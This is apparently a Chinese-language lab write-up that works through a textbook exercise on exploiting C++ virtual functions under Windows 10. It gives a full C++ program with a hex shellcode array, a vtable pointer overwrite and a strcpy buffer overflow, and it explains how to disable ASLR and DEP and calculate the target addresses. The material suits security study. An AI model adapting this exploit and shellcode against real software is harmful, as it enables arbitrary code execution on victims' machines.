0day-win10下实现攻击C++的虚函数

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C++虚函数, 栈溢出

在《0day安全——软件安全分析》一书的6.3节提供了C++虚函数的攻击概念，本文为对应章节的具体实操。

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// 6-3-attack-virtual-func.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include "windows.h"
#define _CRT_SECURE_NO_WARNINGS

using namespace std;
// TODO: 学习写shellcode，并且将十六进制字符转为代码
char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
					"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
					"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
					"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
					"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
					"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
					"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
					"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
					"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
					"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
					"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
					"\x64\xD3\x41\x00"; //set fake virtual function pointer,180 Byte // 176Byte

// 0x0041d364+0XB0 = 0x0041d414

// 0x0040881C 地址为buf入口的地址（也就是shellcode入口的地址），0x004088CC 地址为伪造的虚函数地址
// 改地址可以放在shellcode前面也可以放在shellcode后面，在编译的时候将地址随机化和DEP关闭。

class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout << "Class Vtable::test()" << endl;
	}
};


Failwest overflow, * p;

void main(void)
{
	char* p_vtable;
	
	p_vtable = overflow.buf - 4; //point to virtual table，虚表指针位于char buf[200]之前，通过这句代码定位到该指针。

	
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug p_vtable[0]=0xCC;
	

	// 0x0041d414
	// ask: 这里如果直接改成buf的地址，即虚表指针指向shellcode首地址，为什么不可以
	p_vtable[0] = 0x14;
	p_vtable[1] = 0xd4;
	p_vtable[2] = 0x41;
	p_vtable[3] = 0x00;
	strcpy(overflow.buf, shellcode); //set fake virtual functionpointer 

	p = &overflow;
   	p->test();
}

了解了C++虚函数的调用过程之后，我们就明白了这个代码利用了栈中的缓冲区溢出，攻击流程为：修改虚表指针的内容，将其指向shellcode的首部或者尾部（这个时候shellcode 已经被复制到缓冲区中），这个代码给的是将 虚表指针指向buf缓冲区(shellcode)的尾部，然后再将虚表中 的虚函数指针指向shellcode的首部来执行代码，那么我们如何得到这个shellcode的地址？

因为C++的虚函数在调用的时候，程序会先通过虚表指针寻找虚函数的地址，这里虚函数的地址为修改 0x0041d414，然后再修改“虚函数”的地址指向shellcode，这里“虚函数”的实际入口地址为 shellcode的尾部的8字节地址0x0041d364。

还有一个问题是，visual studio2019 默认开启ASLR和DEP，我们需要在系统和编译选项中将其关闭，win10关闭ASLR比较容易，直接在设置里面就可以直接关闭，具体参见这篇文章：栈缓冲区溢出之二 ASLR ；然后在项目的选项中修改ASLR和DEP为disable即可（项目选项—>链接器—>高级）。

由于ASLR和DEP都已经关闭了，所以直接通过VS 的Debug —> Windows —> Watch (Autos)观看变量的地址。

这里得到overflow.buf的地址，我们要得到shellcode的末尾8字节的地址，就需要加上中间176个字节的shellcode字节码，即 0x0041d364+0XB0 = 0x0041d414，所以在p_vtable中填入这个地址。

最后，在这个过程中，我直接修改虚表指针指向buf的首地址为什么不可以？